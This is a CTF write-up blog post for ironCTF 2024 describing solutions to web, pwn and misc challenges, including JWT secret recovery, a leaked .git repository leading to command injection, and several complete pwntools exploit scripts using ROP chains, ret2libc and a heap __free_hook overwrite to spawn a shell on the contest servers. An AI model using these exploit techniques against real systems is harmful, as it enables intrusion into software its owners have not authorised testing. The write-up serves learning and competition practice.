반응형

I wrote few challenges i solved. 

I was disappointed that I couldn't solve problems such as deserialization and csrf that could have been solved because of pyjail... haha


Math Gone Wrong

let's check the process

the formula is always true.

but we can think about floating point.

if we use the number like `e`, the formula can become false. But, we can't use single `e`.

So i used as below

flag : ironCTF{s1mpl3_r3m4ind3r_70_b3w4r3_0f_fl047ing_p0in7_3rr0r}

 


Introspection

First of all, let's check source code.

it would flush flag if we inject `A*1008`. Cause there is no null byte.

Let's use simple exploit code.

result is as below

flag : ironCTF{W0w!_Y0u_Just_OverWrite_the_Nul1!}

JWT Hunt

This is just simple challenge without sourcecode.

It has, register and login button as below and maybe we can get flag when we login as `admin`.

First, register and login with test/test.

When i travel(?) around the website, i can view the JWT and secretketpart2 as below.

Now, we can realize what to do.

Find all of secretkeyparts, and use that keys for JWT secret bit.

We can find secretkeypart1 from robots.txt.

We already have secretkey2 from `cookie`.

Next, secretkeypart3 is in sitemap.xml.

Last, secretkeypart4 was a bit tricky. We have to use burp suite.

I 've checked allowed method. We can use `HEAD` method and approach to `/secretkeypart4`

We've got all of the parts. Now we have to make JWT.

Now inject the token and reload the page.

 

flag : ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!}

 


MovieReviewApp

This challenge has no source code, too. Let's view the page.

There were nothing i could inject something.

But, I've found directory listing in this page, when i delete `movies/`.

There is `.git` directory.

I've used `git-dumper`.

https://github.com/arthaud/git-dumper

 

I've used below command to dump all of git files.

./git_dumper.py https://movie-review.1nf1n1ty.team/.git ../movie

 

When i use `git log` command is `movie` directory i can view the logs.

I've check the commit 3892d93c3eb7f379e4d2991c8cd011a4336804b6. Cause it is related with authentication.

We can obtain hardcoded id/pw and also there was servermonitor directory.

 

So i approached to servermonitor directory. There is an Admin page!

You can see the Admin login page, and use hardcoded id/pw we obtained.

We can see admin_panel page.

Let's see the code again.

@app.route('/admin_panel', methods=['GET', 'POST'])
def admin_panel():
    if 'logged_in' not in session:
        return redirect(url_for('admin'))
    ping_result = None
    if request.method == 'POST':
        ip = request.form.get('ip')
        count = request.form.get('count', 1)
        try:
            count = int(count)
            ping_result = ping_ip(ip, count)
        except ValueError:
            flash("Count must be a valid integer")
        except Exception as e:
            flash(f"An error occurred: {e}")

    memory_info = psutil.virtual_memory()
    memory_usage = memory_info.percent
    total_memory = memory_info.total / (1024 ** 2) 
    available_memory = memory_info.available / (1024 ** 2) 

    return render_template('admin.html', ping_result=ping_result, 
                           memory_usage=memory_usage, total_memory=total_memory, 
                           available_memory=available_memory)

 

we can use command injection now. When we inject in `ip` parameter, it occurs error.

But, when we use with `count` parameter, something works!

I've use below command to check the flag file.

Let's catch the file.

flag : ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}

I've attached solver code my Team member solved

https://neko-hat.github.io/ -> He solved it. If you have question ask him in discord :)

Later I would attempt to solve and attach writeups my own. If i have time to do... :)

 

Hopper

from pwn import *

context.log_level = 'debug'

# p = process('./Hopper')
p = remote('pwn.1nf1n1ty.team', 31886)
p.recvuntil(b'( ~   Y.  )\n')

leak_ret_addr = u64(p.recv(6) + b'\x00' * 2)

log.critical(f'leak ret addr: {hex(leak_ret_addr)}')

pop_rdi_jmp_r15 = 0x0040101d 
pop_r15_jmp_r15 = 0x000000000040101c
ret = 0x0000000000401013
syscall = 0x000000000040100a
pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15 = 0x0000000000401017
jmp_addr = leak_ret_addr-0x10
pop_r15_jmp_r15 = 0x000000000040101c
xor_rdx_jmp_r15 = 0x0000000000401021
xor_rsi_jmp_r15 = 0x0000000000401027
add_rbx_jmp_rbx = 0x0000000000401011
call_read_func = 0x401069
and_al_0x48_add_ebx_jmp = 0x0000000000401010
and_al_0x24_add_rbx_jmp = 0x000000000040100f
syscall_and_jmp_rsp = 0x401077


pay = p64(ret) + p64(pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15) + p64(leak_ret_addr+0x28) + p64(0) + p64(leak_ret_addr+0x18) + p64(0)
pay += p64(ret) + p64(and_al_0x24_add_rbx_jmp) + p64(syscall_and_jmp_rsp)

p.sendafter(b'>> ', pay)

pay = p64(ret) +p64(pop_rdi_jmp_r15) + p64(leak_ret_addr+0x58) + p64(xor_rdx_jmp_r15) + p64(xor_rsi_jmp_r15) + p64(syscall) + b'/bin/sh\x00' + b'\x00' * 3

p.send(pay)

p.interactive()

 

My solve code after the CTF end

from pwn import *

context.log_level = "DEBUG"

#p = process("./Hopper")
p = remote("pwn.1nf1n1ty.team",31886)

def slog(name, addr): return success(': '.join([name, hex(addr)]))

#gdb.attach(p, gdbscript="source ~/peda/peda.py ")

p.recvuntil(b'( ~   Y.  )\n')
leak_ret_addr = u64(p.recv(6) + b'\x00' * 2)

slog('addr: ', leak_ret_addr)

sh_addr = leak_ret_addr + 0x8 # offset

syscall = 0x40100a # or use  0x401077
xor_rsi_rsi = 0x401027 # with jmp r15
xor_rdx_rdx = 0x401021 # with jmp r15
pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15 = 0x401017
xchg_rax_r13 = 0x40100c
ret = 0x401013

pl = p64(ret) # 8byte
pl += p64(pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15)
pl += p64(0)
pl += p64(sh_addr)
pl += '/bin/sh\00' # don't use /bin//sh, when we use /bin//sh `;` could be injected
pl += p64(0x3b)
pl += p64(ret) # ret gadget for continue code
pl += p64(xchg_rax_r13)
pl += p64(xor_rdx_rdx)
pl += p64(syscall)

p.sendafter(">> ", pl) #without \n
p.interactive()

 

challenge info

-checksec-
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

-file-
Hopper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

-info func-
0x0000000000401000  print
0x0000000000401011  dispatcher
0x0000000000401017  gadgets
0x0000000000401033  _start

there are no library, so there are no `got`, `plt`
Also when we input something, It goes to RIP. this means we can control RIP.
And If we use vmmap, there are no `rwx` section to use shellcode.

 

we need to make condition as below

rax - 0x3B = 59
rdi - /bin//sh
rsi - 0
rdx - 0

 

also we need to know that read() in C returns received byte length and the length goes to RAX register.

So, the payload's length should be 0x3B. But, there was `xchg ` gadget. So i used that one.

 

how to get gadget

git clone https://github.com/0vercl0k/rp
cd src/build
chmod u+x ./build-release.sh && ./build-release.sh
sudo ln -s /home/tr4ce/tools/rp/src/build/rp-lin /usr/bin/rp-lin (linking)
rp-lin -f ./Hopper -r5 (control level with -r1~5)

LoginSimulator

from pwn import *

context.log_level = 'debug'

# p = process('./login')
p = remote('pwn.1nf1n1ty.team', 31293)
libc = ELF('./glibc/libc.so.6')

def register_user(name, passwd):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter your name: ', name)
    p.sendlineafter(b'Enter new password: ', passwd)

def view_user(id):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Enter user id: ', str(id).encode())

def change_password(id, passwd, new_passwd):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Enter your user id: ', str(id).encode())
    p.sendlineafter(b'Enter your password: ', passwd)
    p.sendlineafter(b'Enter new password: ', new_passwd)


def send_cmd(pay):
    p.sendlineafter(b'> ', b'1337')
    p.sendafter(b'Enter command: ', pay)
    

for i in range(5):
    register_user((f'neko{i}' * 4).encode(), (f'neko{i}' * 4).encode())

p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Enter your user id: ', str(4).encode())
p.sendlineafter(b'Enter your password: ', b'neko4' * 4 )
p.sendlineafter(b'Enter new password: ', b'A' * 21)
p.sendlineafter(b'application: ', b'1.1')
p.recvuntil(b'\x99\xf1')

leak = u64(p.recv(6) + b'\x00' * 2)
log.critical(f"leak: {hex(leak)}")
lb = leak - 0x81a3f
log.critical(f"lb {hex(lb)}")

pop_rdi = lb + 0x0000000000028215
ret = lb + 0x000000000002668c
binsh = lb + list(libc.search(b'/bin/sh'))[0]
system = lb + libc.symbols['system']

log.critical(f'binsh: {hex(binsh)}')
pay = b'A' * 400 + b'B' * 8
pay += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
send_cmd(pay)

p.interactive()

1nf1n1tyShop

from pwn import *

context.log_level = 'debug'

# p = process('./1nf1n1tyShop')
p = remote('pwn.1nf1n1ty.team', 31798)
e = ELF('./1nf1n1tyShop')
libc = ELF('./libc.so.6')

p.sendlineafter(b'Enter Your Name:\n>', 'neko')
p.sendlineafter(b'\n>', b'4')
p.recvuntil(b'Your prize: ')
flag_addr = int((p.recvuntil(b';', drop=True)).decode(), 16)
pie_base = flag_addr - e.symbols['flag']
food = pie_base + e.symbols['food']

log.critical(f'pie_base: {hex(pie_base)}')
log.critical(f'food: {hex(food)}')

pay = b'A' * 172
pay += p32(pie_base+e.symbols['main'])

p.sendlineafter(b'\n>', b'2')
p.sendafter(b'\n>', pay)
p.sendlineafter(b'Enter Your Name:\n>', 'hacker')
p.sendlineafter(b'\n>', b'4')

p.recvuntil(b'Your prize: ')
system = int((p.recvuntil(b';', drop=True)).decode(), 16)
lb = system - libc.symbols['system']
binsh = lb + list(libc.search(b'/bin/sh'))[0]
one_gadget = lb + 0x173af2
bss = pie_base + e.bss() + 0x1b00

log.critical(f'system: {hex(system)}')
log.critical(f'lb: {hex(lb)}')
log.critical(f'bss: {hex(bss)}')


pay = b'A' * 164
pay += p32(pie_base + 0x3ff4)
pay += p32(bss)
pay += p32(pie_base+0x124B)

p.sendlineafter(b'\n>', b'2')
p.sendafter(b'\n>', pay)

puts_got = pie_base + 0x4010
pppr = lb + 0x0003ddea

pay = b'A' * 0xa4
pay += p32(pie_base + 0x3ff4)
pay += p32(bss)
pay += p32(system)
pay += p32(pppr)
pay += p32(binsh)
pay += p32(0)
pay += p32(0)
p.send(pay)

p.interactive()

SimpleNotes

from pwn import *

context.log_level = 'debug'

# p = process('./SimpleNotes')
p = remote('pwn.1nf1n1ty.team', 32229)
libc = ELF('./libc.so.6')

def add_note(id, size, pay):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'Enter the id of note: ', str(id).encode())
    p.sendlineafter(b'Enter the size of note: ', str(size).encode())
    p.sendafter(b'Enter the note: ', pay)

def edit_note(id, size, pay):
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b'Enter the id of note: ', str(id).encode())
    p.sendlineafter(b'Enter the size of note: ', str(size).encode())
    p.sendafter(b'Enter the note: ', pay)

def delete_note(id):
    p.sendlineafter(b'>> ', b'3')
    p.sendlineafter(b'Enter the id of note: ', str(id).encode())

def read_note(id):
    p.sendlineafter(b'>> ', b'4')
    p.sendlineafter(b'Enter the id of note: ', str(id).encode())

add_note(0, 0x1000, b'neko_hat')
delete_note(0)

for i in range(0x2):
    add_note(i, 0x1000, b'n')

delete_note(0)
delete_note(1)

add_note(0, 1, b'n')
edit_note(0, 0x100, b'A'*0x8)
read_note(0)
p.recv(8)

leak = u64(p.recv(6) + b'\x00' * 2)
log.critical(f"leak: {hex(leak)}")
lb = leak - 0x3ebca0
system = lb + libc.symbols['system']
log.critical(f"lb: {hex(lb)}")
free_hook = lb + libc.symbols['__free_hook']
log.critical(f"free_hook: {hex(free_hook)}")

for i in range(2, 5):
    add_note(i, 0x1, b'n')

delete_note(4)
delete_note(3)

pay = b'A' * 0x10 +p64(0) +p64(0x21) + p64(free_hook)
edit_note(2, 0x100, pay)

add_note(5, 10, b'/bin/sh\x00')
add_note(6, 10, p64(system))

delete_note(5)

p.interactive()

Fire in the Base Camp

import requests

target = """/is/this/the/flag
/i/think/this/is/the/one
/seriously/give/me/the/flag/now
/please/give/it/to/me"""

target = target.split('\n')

path = (target[3][0:7])
path +=(target[2][10:15])
path +=(target[3][18:21])
path +=(target[1][16:20])
path +=(target[0][12:27])
print(path)

res = requests.get("https://app3-7d107-default-rtdb.firebaseio.com"+path+'.json')
flag_dic = res.json()
flag = ''

for key in flag_dic.keys():
    flag += flag_dic[key]
print(flag)

 

certificate

반응형

'CTF' 카테고리의 다른 글

Hero CTF 2024  (0) 2024.10.27
BuckeyeCTF 2024  (0) 2024.09.29
ASIS CTF 2024  (0) 2024.09.23
RSTCON 2024 CTF  (0) 2024.09.16
BSidesSF 2024 CTF  (0) 2024.05.06

+ Recent posts